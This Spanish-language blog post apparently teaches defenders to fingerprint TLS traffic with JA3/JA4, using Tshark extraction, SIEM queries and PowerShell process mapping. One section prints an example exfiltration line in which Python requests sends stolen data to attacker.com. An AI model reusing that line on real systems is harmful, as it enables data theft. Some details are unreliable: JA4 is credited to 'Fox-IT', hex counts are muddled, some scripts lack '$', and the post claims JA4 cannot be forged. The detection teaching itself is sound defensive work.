// OPERACIÓN: La Huella digital Invisible
// Fingerprinting TLS en Wireshark
0x00 — LA HUELLA DIGITAL INVISIBLE
En un entorno donde el 95% del tráfico web viaja cifrado bajo TLS, la capacidad de inspeccionar el contenido de las comunicaciones se desvanece.
Sin embargo, existe un vector de inteligencia que permanece accesible incluso sin descifrar: el apretón de manos TLS (TLS Handshake).
Este post documenta la técnica de Fingerprinting TLS pasivo mediante JA3 y JA4+, métodos que permiten identificar aplicaciones, detectar malware y rastrear anomalías de red sin necesidad de romper el cifrado ni implementar inspección SSL/Man-in-the-Middle.
CONTEXTO OPERATIVO
- Dataset analizado: 53 conexiones TLS capturadas desde
192.168.1.130 - Herramientas: Wireshark, Tshark, análisis offline con Excel
- Técnicas: JA3 (2017) y JA4+ (2023) fingerprinting
- Objetivo: Identificar actores de red, detectar impersonation, mapear Shadow IT
0x01 — EL HANDSHAKE TLS
El proceso de establecimiento de una sesión TLS comienza con el ClientHello, un paquete donde el cliente declara sus capacidades criptográficas al servidor.
Este mensaje viaja sin cifrar y contiene información única sobre la aplicación que lo genera.
Campos Clave del ClientHello
| Campo | Descripción | Impacto en Fingerprinting |
|---|---|---|
| TLS Version | Versión de TLS soportada (1.2, 1.3) | Navegadores modernos → 1.3 / Malware viejo → 1.2 |
| Cipher Suites | Lista de algoritmos de cifrado soportados | CRÍTICO - Cada app tiene su combinación |
| Extensions | Capacidades adicionales (SNI, ALPN, ECH) | CRÍTICO - ECH solo en navegadores modernos |
| Supported Groups | Curvas elípticas para intercambio de claves | X25519MLKEM768 indica post-quantum crypto |
| ALPN | Protocolo de aplicación (HTTP/1.1, h2, h3) | h3 = HTTP/3 (QUIC) - solo navegadores modernos |
Aunque el payload del tráfico esté cifrado, el ClientHello es una tarjeta de presentación pública.
Dos aplicaciones distintas raramente tienen la misma combinación de cipher suites + extensions + supported groups.
Filtro en Wireshark para ClientHello: tls.handshake.type == 1Campos a inspeccionar: • Handshake Protocol → Cipher Suites • Handshake Protocol → Extension: supported_groups • Handshake Protocol → Extension: application_layer_protocol_negotiation
0x02 — JA3 (2017)
JA3 fue desarrollado por Salesforce en 2017 como método estandarizado para crear fingerprints TLS.
Su objetivo es convertir la complejidad del ClientHello en un hash MD5 de 32 caracteres procesable por SIEM.
Anatomía del JA3
# Estructura JA3 Fullstring VERSION,CIPHERS,EXTENSIONS,GROUPS,FORMATS# Ejemplo real de nuestro dataset 771,4865-4866-4867,51-10-43-16-13-57-45-17613-27-65037-42-0-41,4588-29-23-24,
# Se hashea con MD5 JA3 Hash: a6b80110ed348d86394555c990e226a6
Despiece del Ejemplo
| Componente | Valor | Significado |
|---|---|---|
| VERSION | 771 | 0x0303 (TLS 1.2) en legacy_version - compatibilidad hacia atrás |
| CIPHERS | 4865-4866-4867 | 0x1301, 0x1302, 0x1303 - Cipher Suites de TLS 1.3 |
| EXTENSIONS | 51-10-43...65037... | 65037 = ECH (Encrypted Client Hello) - navegador muy moderno |
| GROUPS | 4588-29-23-24 | 4588 = X25519MLKEM768 - criptografía post-cuántica |
Limitaciones de JA3
JA3 enfrenta dos problemas críticos en 2025:
- GREASE (Generate Random Extensions And Sustain Extensibility): Chrome y Firefox insertan valores aleatorios en cipher suites y extensions para prevenir ossificación del protocolo. Esto genera JA3 diferentes para la misma aplicación.
- Ofuscación de hash: El MD5 no es legible.
- No puedes saber si un JA3 es de QUIC o TCP sin consultar la base de datos.
0x03 — JA4+ (2023)
JA4+ fue desarrollado por John Althouse (Fox-IT) en 2023 para resolver las limitaciones de JA3.
Su innovación: legibilidad humana y resistencia al ruido de GREASE.
Anatomía del JA4: Tres Segmentos
# Estructura JA4
[PARTE A: Metadata]_[PARTE B: Hash de Ciphers]_[PARTE C: Hash de Extensions]
# Ejemplo del dataset: Navegador con QUIC
q13d0313h355b375c5d22e226f3f127bbe
# Ejemplo del dataset: GitHub API sobre TCP
t13d1517h28daaf6152771b6f405a00624
Metadata Legible
| Pos | Campo | Valores | Ejemplo: q13d0313h3 |
|---|---|---|---|
| 1 | Protocolo de transporte | q=QUIC, t=TCP, d=DTLS | q → QUIC (HTTP/3) |
| 2-3 | Versión TLS | 10, 11, 12, 13, s1 (SSLv3) | 13 → TLS 1.3 |
| 4 | SNI Presence | d=presente, i=ausente | d → SNI presente |
| 5-6 | Cantidad de Cipher Suites | 00-99 en hexadecimal | 03 → 3 cipher suites |
| 7-8 | Cantidad de Extensions | 00-99 en hexadecimal | 13 → 19 extensions (0x13) |
| 9-10 | ALPN Negociado | 00, h1, h2, h3 | h3 → HTTP/3 |
Ventaja crítica: Con solo leer q13d0313h3, sabes que es un cliente QUIC con TLS 1.3, 3 cipher suites, 19 extensions y HTTP/3. Esto descarta el 90% de aplicaciones inmediatamente.
Resistencia a GREASE
JA4 ordena alfabéticamente los cipher suites y extensions antes de hashear, y filtra valores GREASE conocidos. Dos instancias de Chrome con GREASE aleatorio generarán el mismo JA4.
0x04 — LAS 53 CONEXIONES TLS
El análisis forense se realizó sobre una captura de tráfico HTTPS de un equipo Windows 11 con navegador Chrome.
El archivo ja4.xlsx contiene el volcado completo para análisis offline.
Estructura del Dataset
| Columna | Descripción | Uso |
|---|---|---|
| ip.src | Dirección IP de origen (cliente) | Mapear qué host genera qué fingerprint |
| tls.handshake.extensions_server_name | SNI (Server Name Indication) - destino | Identificar a qué servicio se conecta |
| tls.handshake.ja3 | Fingerprint JA3 (MD5 hash) | Consulta en ja3er.com para identificación |
| tls.handshake.ja4 | Fingerprint JA4 (legible + hash) | Análisis directo sin consulta externa |
Estadísticas del Tráfico Capturado
Total de conexiones TLS analizadas: 53
JA4 fingerprints únicos detectados: 8
IP de origen principal: 192.168.1.130
# Distribución de fingerprints
t13d1517h2_8daaf6152771_b6f405a00624 → 14 conexiones (26.4%)
q13d0313h3_55b375c5d22e_226f3f127bbe → 13 conexiones (24.5%)
t13d1516h2_8daaf6152771_d8a2da3f94cd → 12 conexiones (22.6%)
q13d0311h3_55b375c5d22e_653d80c3fe9d → 7 conexiones (13.2%)
q13d0312h3_55b375c5d22e_5a06198afb93 → 4 conexiones (7.5%)
t13d1515h1_8daaf6152771_0a20fe35d3a5 → 1 conexión (1.9%)
t13d1516h1_8daaf6152771_0d365e64def3 → 1 conexión (1.9%)
t13d201300_2b729b4bf6f3_1ea369dc5faa → 1 conexión (1.9%) → ANOMALÍA
0x05 — MAPEO DE FINGERPRINTS
El verdadero poder del fingerprinting TLS reside en la capacidad de mapear fingerprints a aplicaciones sin inspección profunda de paquetes. Analicemos los 8 actores detectados en nuestro tráfico.
Navegador Principal (Chrome)
JA4 Fingerprint: q13d0313h3_55b375c5d22e_226f3f127bbe
Apariciones: 13 conexiones (24.5% del tráfico)
JA3: a6b80110ed348d86394555c990e226a6
Protocolo: QUIC (UDP) + TLS 1.3
ALPN: h3 (HTTP/3)
Destinos detectados:
gemini.google.com— IA Geminitranslate.google.es— Google Translatewww.google.es— Búsqueda webdocs.google.com— Google Docs2devnullpoisonxploit.blogspot.com— Este blogwww.blogger.com— Blogger CMS
Análisis: Este es el fingerprint del navegador interactivo humano.
La presencia de QUIC (letra q) y HTTP/3 (h3) confirma que es Chrome o Edge moderno.
Los destinos son servicios de Google, coherentes con navegación web estándar.
Actor 2: APIs y SDKs (GitHub, Spotify, Stripe)
JA4 Fingerprint: t13d1517h2_8daaf6152771_b6f405a00624
Apariciones: 14 conexiones (26.4% del tráfico - EL MÁS FRECUENTE)
Protocolo: TCP + TLS 1.3
ALPN: h2 (HTTP/2)
Cipher Suites: 15 (0x15)
Destinos detectados:
api.github.com— API REST de GitHubgithub.com— GitHub webaccounts.spotify.com— Autenticación Spotifyapresolve.spotify.com— Resolución de endpoints Spotifyuse.fontawesome.com— CDN de iconosbraze.com— Telemetría y marketing SDK
Este fingerprint corresponde a aplicaciones basadas en Electron o SDKs modernos.
La letra "t" indica TCP (no QUIC). La consistencia del hash sugiere que múltiples apps usan el mismo motor de red (probablemente librerías compartidas de Chromium Embedded Framework).
Actor 3: Servicios de Google (CDN y Assets)
JA4 Fingerprint: q13d0311h3_55b375c5d22e_653d80c3fe9d
Apariciones: 7 conexiones (13.2%)
Protocolo: QUIC + TLS 1.3
ALPN: h3
Cipher Suites: 3 (0x11 en hex)
Destinos detectados:
www.gstatic.com— CDN de Google (JavaScript, CSS)fonts.googleapis.com— Google Fontslh3.googleusercontent.com— Imágenes de usuariosogs.google.com— Google One Storage
Este es el fingerprint de recursos estáticos cargados por el navegador.
Varía ligeramente del Actor 1 en el número de cipher suites (11 vs 13), probablemente debido a optimizaciones de CDN.
Actor 4: Cliente Spotify
JA4 Fingerprint: q13d0312h3_55b375c5d22e_5a06198afb93
Apariciones: 4 conexiones (7.5%)
Protocolo: QUIC + TLS 1.3
ALPN: h3
Destinos detectados:
gew1-spclient.spotify.com— Cliente streaming Spotifygeneric.wg.spotify.com— Servicios generalesaccounts.spotify.com— Autenticación
Fingerprint exclusivo del cliente de escritorio de Spotify. El hash de extensions es diferente, lo que indica capacidades TLS específicas del cliente de streaming.
Actor 5: GitHub Heartbeat (alive.github.com)
JA4 Fingerprints: t13d1515h1_8daaf6152771_0a20fe35d3a5 y t13d1516h1_8daaf6152771_0d365e64def3
Apariciones: 2 conexiones (1 de cada fingerprint)
Protocolo: TCP + TLS 1.3
ALPN: h1 (HTTP/1.1)
alive.github.com (ambas conexiones)
Estas conexiones usan HTTP/1.1 en lugar de HTTP/2, lo cual es inusual para servicios modernos.
Esto sugiere que es un health check o heartbeat endpoint legacy de GitHub que mantiene compatibilidad con clientes antiguos.
0x06 — MICROSOFT
En medio del tráfico normal, destaca un fingerprint completamente atípico que merece análisis forense detallado.
JA4 Fingerprint: t13d201300_2b729b4bf6f3_1ea369dc5faa
Apariciones: 1 conexión (1.9%)
JA3: 6634ba84945fce7cc2d7864edc49b103
Protocolo: TCP + TLS 1.3
ALPN: 00 -> No negocia protocolo de Capa 7
Cipher Suites: 20 (0x20 en hex) -> Crítico
Destino: self.events.data.microsoft.com
Análisis Forense del Fingerprint
| Característica | Valor Observado | Interpretación |
|---|---|---|
| Cipher Suites | 20 (32 en decimal) | Chrome ofrece 15, Python 3-4, scripts modernos 10-15. 20 cipher suites = Windows nativo |
| ALPN | 00 (ausente) | NO ES UN NAVEGADOR. Los navegadores siempre negocian h1/h2/h3 |
| Protocolo | TCP (no QUIC) | Servicio del sistema operativo, no aplicación interactiva |
| Destino | self.events.data.microsoft.com | DiagTrack (Telemetría de Windows) |
Identificación del Proceso
Este fingerprint pertenece al servicio DiagTrack (Connected User Experiences and Telemetry) de Windows.
Es el proceso encargado de enviar diagnósticos, errores y estadísticas de uso a Microsoft.
# Verificar el proceso en PowerShell
Get-Service DiagTrack
# Buscar conexiones activas a Microsoft telemetry
Get-NetTCPConnection | Where-Object {_.RemoteAddress -like "20.189.*"} |
Select-Object State, @{Name="Process";Expression={(Get-Process -Id _.OwningProcess).ProcessName}}
# Resultado esperado:
svchost.exe → Proceso host del servicio DiagTrack
Implicaciones para Blue Team
Esta detección tiene valor crítico en threat hunting:
- Baseline establecido: Ahora sabemos que el fingerprint
t13d201300…es legítimo de Windows. Si aparece hacia un destino que NO sea*.microsoft.com, tendremos un IOC de alta fidelidad. - Detección de suplantación: Si un malware intenta disfrazarse de “proceso de Windows” pero genera un JA4 diferente, será detectado instantáneamente.
- Shadow IT: Si este fingerprint aparece desde un servidor Linux o un Docker container, sabemos que hay un binario de Windows ejecutándose donde no debería.
0x07 — CASOS DE USO
Caso 1: Detección de Malware por Fingerprint
Escenario: Monitoreas 500 equipos Windows 11 con Chrome.
El 99% del tráfico HTTPS muestra el JA4 q13d0313h3_55b375c5d22e_226f3f127bbe.
# Query en Splunk/ELK
index=network_logs sourcetype=zeek_ssl
| stats count by ja4_fingerprint, src_ip, dest_ip, server_name
| where ja4_fingerprint != "q13d0313h3_55b375c5d22e_226f3f127bbe"
| where ja4_fingerprint != "t13d201300_2b729b4bf6f3_1ea369dc5faa"
| table src_ip, ja4_fingerprint, server_name
Aparece una alerta de la IP 192.168.1.45 con JA4 t12d0812h1... conectando a una IP en Kazajistán.
Además encontramos:
t12→ TLS 1.2 (protocolo viejo)d08→ Solo 8 cipher suites (muy pocas)h1→ HTTP/1.1 (no moderno)- Consulta en JA4DB.com → Go-TLS library (usada por Cobalt Strike y Meterpreter)
Proceso malicioso detectado.
Identifico un beacon de C2 sin descifrar el tráfico.
Caso 2: Detección de Suplantación
Si por ejemplo un atacante exfiltra datos usando un script Python con User-Agent falso.
# Script del atacante (Python requests)
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0'}
requests.get('https://attacker.com/exfil', headers=headers, data=stolen_data)
# Lo que ve el servidor destino:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0
JA4: t13d0509h2_… ← python-requests library
Detección: El sistema de monitorización ve la contradicción:
| Indicador | Valor Declarado | Valor Real (JA4) |
|---|---|---|
| User-Agent | Chrome 120 | python-requests |
| Protocolo esperado | QUIC (q13...) | TCP (t13...) |
| Cipher Suites esperadas | 15 (Chrome) | 9 (Python) |
El User-Agent miente, pero el JA4 no puede mentir.
Caso 3: Busqueda de "Vecinos" (Outbreak Detection)
Detecto un JA4 sospechoso en un equipo.
Te tienes que preguntar por lógica...¿Es un incidente aislado?
# Query de correlación en SIEM
index=network_logs ja4_fingerprint="t12d0812h1_suspicious_hash"
| stats count by src_ip, src_hostname
| sort -count
# Resultado:
PC-ADMIN-01 34 conexiones
PC-FINANCE-03 28 conexiones
PC-HR-07 12 conexiones
SRV-WEB-02 8 conexiones
No es un incidente aislado.
Lo que tienes son 4 equipos comprometidos con el mismo malware.
El JA4 te permite rastrear la extensión del compromiso en minutos.
0x08 — EXTRACCIÓN CON TSHARK
Para análisis masivos, extraer JA3/JA4 manualmente desde Wireshark es inviable.
Tshark permite automatizar la extracción y generar datasets procesables.
Comando 1: Extracción Básica a TXT
"C:\Program Files\Wireshark\tshark.exe" -r captura.pcapng \ -T fields \ -e ip.src \ -e tls.handshake.extensions_server_name \ -e tls.handshake.ja3 \ -e tls.handshake.ja4 \ >> ja4_raw.txt
Problema: Este comando incluye paquetes sin ClientHello (líneas vacías) y usa tabuladores como separador (difícil de procesar en Excel).
Comando 2: Filtrada a CSV (RECOMENDADO)
"C:\Program Files\Wireshark\tshark.exe" -r captura.pcapng \
-Y "tls.handshake.type == 1" ← FILTRO: Solo ClientHello
-T fields \
-e ip.src \
-e tls.handshake.extensions_server_name \
-e tls.handshake.ja3 \
-e tls.handshake.ja4 \
-E header=y ← Añade cabeceras de columna
-E separator=, ← Usa coma como separador (CSV)
> ja4_limpio.csv
Archivo CSV importable directamente en Excel.
Comando 3: Extracción con Estadísticas
# Extraer top 10 JA4 más frecuentes
"C:\Program Files\Wireshark\tshark.exe" -r captura.pcapng \
-Y "tls.handshake.type == 1" \
-T fields \
-e tls.handshake.ja4 \
| Sort-Object | Group-Object | Sort-Object Count -Descending | Select-Object -First 10
# Resultado ejemplo:
Count Name
14 t13d1517h2_8daaf6152771_b6f405a00624
13 q13d0313h3_55b375c5d22e_226f3f127bbe
12 t13d1516h2_8daaf6152771_d8a2da3f94cd
0x09 — ANÁLISIS CON EXCEL
Mi archivo ja4.xlsx adjunto contiene las 53 conexiones extraídas con Tshark.
Este es el flujo de análisis según he investigado:
Paso 1: Identificar Fingerprints Únicos
# En Excel: Tabla dinámica
Filas: tls.handshake.ja4
Valores: Contar de tls.handshake.ja4
# Resultado:
8 fingerprints únicos de 53 conexiones totales
Paso 2: Mapear Fingerprints a Destinos
Para cada JA4 único, identifica los destinos (SNI) asociados. Esto revela patrones:
| Patrón de Destinos | Interpretación |
|---|---|
Todos son *.google.com | Navegador Chrome navegando servicios Google |
Todos son *.github.com | Cliente GitHub Desktop o Git CLI |
| Mezclados: github, spotify, stripe, braze | SDK compartido o motor Electron |
Un solo destino: self.events.data.microsoft.com | Servicio específico del sistema (telemetría) |
Paso 3: Buscar Anomalías
Aplica estos filtros en Excel para identificar IOCs:
# Filtro 1: JA4 que empiezan con 't12' (TLS 1.2 viejo)
=SI(IZQUIERDA([tls.handshake.ja4],3)="t12","REVISAR","OK")
# Filtro 2: ALPN vacío (00) indica binario nativo, no navegador
=SI(ENCONTRAR(“00”,[tls.handshake.ja4])>0,“NO NAVEGADOR”,“NAVEGADOR”)
# Filtro 3: SNI vacío (conexión directa a IP, muy sospechoso)
=SI(ESBLANCO([tls.handshake.extensions_server_name]),“SOSPECHOSO”,“OK”)
# Filtro 4: Cipher Suites > 20 (Windows native) o < 5 (script simple)
=EXTRAE([tls.handshake.ja4],5,2) ← Extrae cantidad de ciphers
Paso 4: Consulta en Bases de Datos
Para JA4 desconocidos, usa recursos públicos:
- JA4DB.com — Base de datos oficial de JA4+ (Fox-IT)
- ja3er.com — Base de datos comunitaria de JA3 (no funciona a día de hoy)
- Abuse.ch SSL Blacklist — JA3 de malware conocido
El objetivo final del fingerprinting TLS es mapear el tráfico de red al binario ejecutable que lo genera.
Este es el flujo completo de investigación.
Caso Práctico: Mapear JA4 → Proceso en Windows
Escenario: Detectaste en el Excel que alive.github.com usa JA4 t13d1516h1_.... ¿Qué proceso genera ese tráfico?
# Paso 1: Identificar la IP de alive.github.com
nslookup alive.github.com
Address: 140.82.121.6
# Paso 2: Buscar conexiones activas a esa IP
netstat -abno | findstr “140.82.121”
TCP 192.168.1.130:54231 140.82.121.6:443 ESTABLISHED 9876
↑ PID
# Paso 3: Mapear PID a proceso
tasklist /FI “PID eq 9876”
Image Name PID Mem Usage
GitHubDesktop.exe 9876 245,332 K
# Paso 4: Obtener ruta del ejecutable
Get-Process -Id 9876 | Select-Object Path
C:\Users\POISONXPLOIT\AppData\Local\GitHubDesktop\GitHubDesktop.exe
El JA4 t13d1516h1_... es generado por GitHub Desktop.
Puedes crear una regla de whitelist en tu SIEM por ejemplo
Monitorización Continua con PowerShell
Para ambientes de producción, automatiza la correlación en tiempo real:
# Script de monitorización continua
while($true) {
Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemotePort -eq 443} |
Select-Object LocalAddress, RemoteAddress, RemotePort, State,
@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}},
@{Name="PID";Expression={$_.OwningProcess}} |
Format-Table -AutoSize
Start-Sleep -Seconds 5
}
# Versión de exportación a CSV
Get-NetTCPConnection | Where-Object {_.RemotePort -eq 443} |
Select-Object @{Name=“Time”;Expression={Get-Date}}, LocalAddress, RemoteAddress,
@{Name=“Process”;Expression={(Get-Process -Id _.OwningProcess).ProcessName}} |
Export-Csv -Path "C:\SOC\tls_connections_(Get-Date -Format ‘yyyyMMdd’).csv” -Append -NoTypeInformation
0x0B — MI ROADMAP DE APRENDIZAJE e INVESTIGACION
- JA4 es superior a JA3 en 2025: Legibilidad humana, resistencia a GREASE, y capacidad de análisis sin consulta externa.
- El ClientHello no miente: Aunque un atacante falsifique el User-Agent, el fingerprint TLS revelará la verdadera identidad de la aplicación.
- Los fingerprints son únicos pero estables: Chrome siempre genera el mismo JA4, permitiendo crear baselines confiables.
- Las anomalías destacan: En un entorno con 8 JA4 diferentes, una novena huella desconocida es un IOC de alta fidelidad.
- El análisis offline es poderoso: Con Tshark + Excel puedes realizar threat hunting sin infraestructura SIEM costosa.
Futuros pasos como Analista
| Nivel | Objetivo | Herramientas |
|---|---|---|
| Básico | Capturar y extraer JA4 con Wireshark/Tshark | Wireshark, Excel, JA4DB.com |
| Intermedio | Automatizar extracción con Zeek, crear baselines | Zeek (Bro), ja3 plugin, Python pandas |
| Avanzado | Integrar en SIEM, crear alertas de anomalías | Splunk, ELK Stack, Suricata con JA4 |
| Experto | Threat hunting activo, correlación con EDR/SIEM | Zeek + Elastic + MISP, threat intel feeds |
Dataset Completo Disponible
Mi archivo ja4.xlsx contiene:
- 53 conexiones TLS completas con JA3 y JA4
- 8 fingerprints únicos identificados
- Destinos (SNI) mapeados a cada fingerprint
- Casos de uso documentados (navegador, APIs, telemetría)
- Anomalía del "fósil" de Microsoft como ejemplo de detección
Usa este dataset como base de referencia para entrenar tus habilidades de análisis y sobretodo tu ojo para moverte por la cebolla.
Repite el proceso con capturas de tu propia red y compara los resultados.
Comandos de Referencia Rápida
# Filtro Wireshark para ClientHello
tls.handshake.type == 1
# Extracción Tshark a CSV
tshark -r captura.pcapng -Y “tls.handshake.type == 1” -T fields
-e ip.src -e tls.handshake.extensions_server_name
-e tls.handshake.ja3 -e tls.handshake.ja4
-E header=y -E separator=, > ja4.csv
# Buscar proceso por IP destino (Windows)
netstat -abno | findstr “IP_DESTINO”
# Monitorización continua de conexiones HTTPS (PowerShell)
Get-NetTCPConnection | Where-Object {_.RemotePort -eq 443} |
Select-Object RemoteAddress, @{Name="Process";Expression={(Get-Process -Id _.OwningProcess).ProcessName}}
[EOD]
"Fingerprinting TLS: The digital fingerprint that no attacker can forge"